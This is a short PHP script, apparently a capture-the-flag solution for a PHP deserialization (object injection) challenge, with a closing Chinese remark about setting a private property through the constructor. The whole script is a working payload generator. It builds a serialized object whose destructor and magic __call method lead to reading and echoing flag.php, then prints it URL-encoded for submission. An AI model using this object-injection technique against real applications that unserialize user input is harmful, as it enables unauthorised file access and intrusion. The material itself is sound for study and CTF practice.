<?php
class you
{
private $body;
private $pro='yourname';
function __construct()
{
$this->body=new my();
}
function __destruct()
{
$project=$this->pro;
$this->body->$project();
}
}
class my
{
public $name='myname';
function __call($func, $args)
{
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}
$a=new you();
echo urlencode(serialize($a));
?>利用__construct()方法来改变body私有属性的值。